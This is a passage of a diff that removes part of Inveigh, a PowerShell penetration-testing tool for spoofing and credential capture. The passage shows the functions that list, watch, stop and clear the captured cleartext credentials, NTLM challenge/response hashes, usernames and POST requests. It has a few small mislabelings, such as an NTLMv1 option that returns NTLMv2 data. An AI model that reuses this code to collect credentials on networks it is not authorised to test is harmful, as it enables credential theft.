$console_status_timeout) - { - - if($inveigh.cleartext_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) - $inveigh.cleartext_list.Sort() - - foreach($unique_cleartext in $inveigh.cleartext_list) - { - if($unique_cleartext -ne $unique_cleartext_last) - { - Write-Output($unique_cleartext + $inveigh.newline) - } - - $unique_cleartext_last = $unique_cleartext - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) - } - - if($inveigh.POST_request_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) - $inveigh.POST_request_list.Sort() - - foreach($unique_POST_request in $inveigh.POST_request_list) - { - if($unique_POST_request -ne $unique_POST_request_last) - { - Write-Output($unique_POST_request + $inveigh.newline) - } - - $unique_POST_request_last = $unique_POST_request - } - - Start-Sleep -m 5 - } - - if($inveigh.NTLMv1_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output($unique_NTLMv1 + $inveigh.newline) - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - - $unique_NTLMv1_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) - { - Write-Output($NTLMv1_username + $inveigh.newline) - } - - Start-Sleep -m 5 - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) - } - - if($inveigh.NTLMv2_list.Count -gt 0) - { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output($unique_NTLMv2 + $inveigh.newline) - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - - $unique_NTLMv2_account_last = '' - Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) - - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) - { - Write-Output($NTLMv2_username + $inveigh.newline) - } - - } - else - { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) - } - - $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - - } - - if($inveigh.console_input) - { - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - } - - Start-Sleep -m 5 - } - - } - -} -finally -{ - - if($Tool -eq 2) - { - $inveigh.running = $false - } - -} - -} -#End Invoke-Inveigh - -function Stop-Inveigh -{ -<# -.SYNOPSIS -Stop-Inveigh will stop all running Inveigh functions. -#> - -if($inveigh) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) - { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - } - - } - - } - - if($inveigh.relay_running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - } - - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.relay_running = $false - - } - - if($inveigh.running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - } - - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.running = $false - - } - - $inveigh.HTTPS = $false - Start-Sleep -S 5 - } - else - { - Write-Output("There are no running Inveigh functions") - } - -} - -} - -function Get-Inveigh -{ -<# -.SYNOPSIS -Get-Inveigh will get stored Inveigh data from memory. - -.PARAMETER Console -Get queued console output. This is also the default if no parameters are set. - -.PARAMETER Learning -Get valid hosts discovered through spoofer learning. - -.PARAMETER Log -Get log entries. - -.PARAMETER Cleartext -Get captured cleartext credentials. - -.PARAMETER CleartextUnique -Get unique captured cleartext credentials. - -.PARAMETER NTLMv1 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv1Unique -Get the first captured NTLMv1 challenge/response for each unique account. - -.PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER NTLMv2 -Get captured NTLMv1 challenge/response hashes. - -.PARAMETER NTLMv2Unique -Get the first captured NTLMv2 challenge/response for each unique account. - -.PARAMETER NTLMv2Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. - -.PARAMETER POSTRequest -Get captured POST requests. - -.PARAMETER POSTRequestUnique -Get unique captured POST request. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Switch]$Cleartext, - [parameter(Mandatory=$false)][Switch]$CleartextUnique, - [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$Learning, - [parameter(Mandatory=$false)][Switch]$Log, - [parameter(Mandatory=$false)][Switch]$NTLMv1, - [parameter(Mandatory=$false)][Switch]$NTLMv2, - [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, - [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, - [parameter(Mandatory=$false)][Switch]$POSTRequest, - [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($Console -or $PSBoundParameters.Count -eq 0) -{ - - while($inveigh.console_queue.Count -gt 0) - { - - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - } - -} - -if($Log) -{ - Write-Output $inveigh.log -} - -if($NTLMv1) -{ - Write-Output $inveigh.NTLMv1_list -} - -if($NTLMv1Unique) -{ - $inveigh.NTLMv1_list.Sort() - - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) - { - $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) - - if($unique_NTLMv1_account -ne $unique_NTLMv1_account_last) - { - Write-Output $unique_NTLMv1 - } - - $unique_NTLMv1_account_last = $unique_NTLMv1_account - } - -} - -if($NTLMv1Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($NTLMv2) -{ - Write-Output $inveigh.NTLMv2_list -} - -if($NTLMv2Unique) -{ - $inveigh.NTLMv2_list.Sort() - - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) - { - $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) - - if($unique_NTLMv2_account -ne $unique_NTLMv2_account_last) - { - Write-Output $unique_NTLMv2 - } - - $unique_NTLMv2_account_last = $unique_NTLMv2_account - } - -} - -if($NTLMv2Usernames) -{ - Write-Output $inveigh.NTLMv2_username_list -} - -if($Cleartext) -{ - Write-Output $inveigh.cleartext_list -} - -if($CleartextUnique) -{ - Write-Output $inveigh.cleartext_list | Get-Unique -} - -if($POSTRequest) -{ - Write-Output $inveigh.POST_request_list -} - -if($POSTRequestUnique) -{ - Write-Output $inveigh.POST_request_list | Get-Unique -} - -if($Learning) -{ - Write-Output $inveigh.valid_host_list -} - -} - -function Watch-Inveigh -{ -<# -.SYNOPSIS -Watch-Inveigh will enabled real time console output. If using this function through a shell, test to ensure that it doesn't hang the shell. - -.PARAMETER ConsoleOutput -(Medium,Low) Medium and Low can be used to reduce output. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if($inveigh.tool -ne 1) -{ - - if($inveigh.running -or $inveigh.relay_running) - { - Write-Output "Press any key to stop real time console output" - $inveigh.console_output = $true - - :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) - { - - while($inveigh.console_queue.Count -gt 0) - { - - switch -wildcard ($inveigh.console_queue[0]) - { - - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} - { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - {$_ -like "* spoofer is disabled" -or $_ -like "* local request" -or $_ -like "* host header *" -or $_ -like "* user agent received *"} - { - - if($ConsoleOutput -eq 'Y') - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} - { - - if($ConsoleOutput -ne "Low") - { - Write-Output $inveigh.console_queue[0] - } - - $inveigh.console_queue.RemoveAt(0) - - } - - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - - } - - } - - if([Console]::KeyAvailable) - { - $inveigh.console_output = $false - BREAK console_loop - } - - Start-Sleep -m 5 - } - - } - else - { - Write-Output "Inveigh isn't running" - } - -} -else -{ - Write-Output "Watch-Inveigh cannot be used with current external tool selection" -} - -} - -function Clear-Inveigh -{ -<# -.SYNOPSIS -Clear-Inveigh will clear Inveigh data from memory. -#> - -if($inveigh) -{ - - if(!$inveigh.running -and !$inveigh.relay_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - -} - -}
\ No newline at end of file |